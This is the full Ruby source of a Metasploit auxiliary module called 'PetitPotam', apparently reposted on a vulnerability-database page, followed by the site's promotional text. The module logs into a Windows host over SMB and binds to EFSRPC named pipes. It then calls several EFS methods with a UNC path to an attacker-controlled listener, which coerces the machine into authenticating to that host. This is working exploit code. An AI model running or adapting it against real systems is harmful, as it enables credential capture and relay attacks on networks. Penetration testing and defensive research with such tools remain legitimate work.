##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'windows_error'
require 'ruby_smb'
require 'ruby_smb/error'
require 'ruby_smb/dcerpc/lsarpc'
require 'ruby_smb/dcerpc/efsrpc'
class MetasploitModule < Msf::Auxiliary
module EfsrpcOverLsarpc
include RubySMB::Dcerpc::Efsrpc
UUID = RubySMB::Dcerpc::Efsrpc::LSARPC_UUID
end
include Msf::Exploit::Remote::DCERPC
include Msf::Exploit::Remote::SMB::Client::Authenticated
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
METHODS = %w[EfsRpcOpenFileRaw EfsRpcEncryptFileSrv EfsRpcDecryptFileSrv EfsRpcQueryUsersOnFile EfsRpcQueryRecoveryAgents].freeze
# The LSARPC UUID should be used for all pipe handles, except for the efsrpc one. For that one use
# Efsrpc and it's normal UUID
PIPE_HANDLES = {
lsarpc: {
endpoint: EfsrpcOverLsarpc,
filename: 'lsarpc'.freeze
},
efsrpc: {
endpoint: RubySMB::Dcerpc::Efsrpc,
filename: 'efsrpc'.freeze
},
samr: {
endpoint: RubySMB::Dcerpc::Lsarpc,
filename: 'samr'.freeze
},
lsass: {
endpoint: RubySMB::Dcerpc::Lsarpc,
filename: 'lsass'.freeze
},
netlogon: {
endpoint: RubySMB::Dcerpc::Lsarpc,
filename: 'netlogon'.freeze
}
}.freeze
def initialize
super(
'Name' => 'PetitPotam',
'Description' => %q{
Coerce an authentication attempt over SMB to other machines via MS-EFSRPC methods.
},
'Author' => [
'GILLES Lionel',
'Spencer McIntyre'
],
'References' => [
[ 'CVE', '2021-36942' ],
[ 'URL', 'https://github.com/topotam/PetitPotam' ],
[ 'URL', 'https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/403c7ae0-1a3a-4e96-8efc-54e79a2cc451' ],
['ATT&CK', Mitre::Attack::Technique::T1187_FORCED_AUTHENTICATION],
['ATT&CK', Mitre::Attack::Technique::T1212_EXPLOITATION_FOR_CREDENTIAL_ACCESS]
],
'License' => MSF_LICENSE
)
register_options(
[
OptString.new('LISTENER', [ true, 'The host listening for the incoming connection', Rex::Socket.source_address ]),
OptEnum.new('PIPE', [ true, 'The named pipe to use for triggering', 'lsarpc', PIPE_HANDLES.keys.map(&:to_s) ]),
OptEnum.new('METHOD', [ true, 'The RPC method to use for triggering', 'Automatic', ['Automatic'] + METHODS ])
]
)
end
def run_host(_ip)
begin
connect
rescue Rex::ConnectionError => e
fail_with(Failure::Unreachable, e.message)
end
begin
smb_login
rescue Rex::Proto::SMB::Exceptions::Error, RubySMB::Error::RubySMBError => e
fail_with(Failure::NoAccess, "Unable to authenticate ([#{e.class}] #{e}).")
end
report_service(service_data)
begin
@tree = simple.client.tree_connect("\\\\#{sock.peerhost}\\IPC$")
rescue RubySMB::Error::RubySMBError => e
raise StandardError, "Unable to connect to the remote IPC$ share ([#{e.class}] #{e})."
end
handle_args = PIPE_HANDLES[datastore['PIPE'].to_sym]
fail_with(Failure::BadConfig, "Invalid pipe: #{datastore['PIPE']}") unless handle_args
# rename tree_file
@pipe = @tree.open_file(filename: handle_args[:filename], write: true, read: true)
handle = dcerpc_handle(
handle_args[:endpoint]::UUID,
handle_args.fetch(:version, '1.0'),
handle_args.fetch(:protocol, 'ncacn_np'),
["\\#{handle_args[:filename]}"]
)
vprint_status("Binding to #{handle} ...")
@pipe.bind(
endpoint: handle_args[:endpoint],
auth_level: RubySMB::Dcerpc::RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
auth_type: RubySMB::Dcerpc::RPC_C_AUTHN_WINNT
)
vprint_status("Bound to #{handle} ...")
if datastore['METHOD'] == 'Automatic'
methods = METHODS
else
methods = [datastore['METHOD']]
end
methods.each do |method|
vprint_status("Attempting to coerce authentication via #{method}")
response = efs_call(
method,
file_name: "\\\\#{datastore['LISTENER']}\\#{Rex::Text.rand_text_alphanumeric(4..8)}\\#{Rex::Text.rand_text_alphanumeric(4..8)}.#{Rex::Text.rand_text_alphanumeric(3)}"
)
if response.nil?
unless method == methods.last
# rebind if we got a DCERPC error (as indicated by no response) and there are more methods to try
vprint_status("Rebinding to #{handle} ...")
@pipe.close
@pipe = @tree.open_file(filename: handle_args[:filename], write: true, read: true)
@pipe.bind(
endpoint: handle_args[:endpoint],
auth_level: RubySMB::Dcerpc::RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
auth_type: RubySMB::Dcerpc::RPC_C_AUTHN_WINNT
)
end
next
end
error_status = response.error_status.to_i
win32_error = ::WindowsError::Win32.find_by_retval(error_status).first
case win32_error
when ::WindowsError::Win32::ERROR_BAD_NETPATH
# this should be the response even if LISTENER was inaccessible
print_good('Server responded with ERROR_BAD_NETPATH which indicates that the attack was successful')
break
when nil
print_status("Server responded with unknown error: 0x#{error_status.to_s(16).rjust(8, '0')}")
else
print_status("Server responded with #{win32_error.name} (#{win32_error.description})")
end
end
end
def cleanup
if @pipe
@pipe.close
@pipe = nil
end
if @tree
@tree.disconnect!
@tree = nil
end
super
end
def efs_call(name, **kwargs)
request = RubySMB::Dcerpc::Efsrpc.const_get("#{name}Request").new(**kwargs)
begin
raw_response = @pipe.dcerpc_request(
request,
auth_level: RubySMB::Dcerpc::RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
auth_type: RubySMB::Dcerpc::RPC_C_AUTHN_WINNT
)
rescue Rex::Proto::DCERPC::Exceptions::Fault => e
print_error "The #{name} Encrypting File System RPC request failed (#{e.message})."
return nil
end
RubySMB::Dcerpc::Efsrpc.const_get("#{name}Response").read(raw_response)
end
def service_data
{
host: rhost,
port: rport,
host_name: simple.client.default_name,
proto: 'tcp',
name: 'smb',
info: "Module: #{fullname}, last negotiated version: SMBv#{simple.client.negotiated_smb_version} (dialect = #{simple.client.dialect})"
}
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation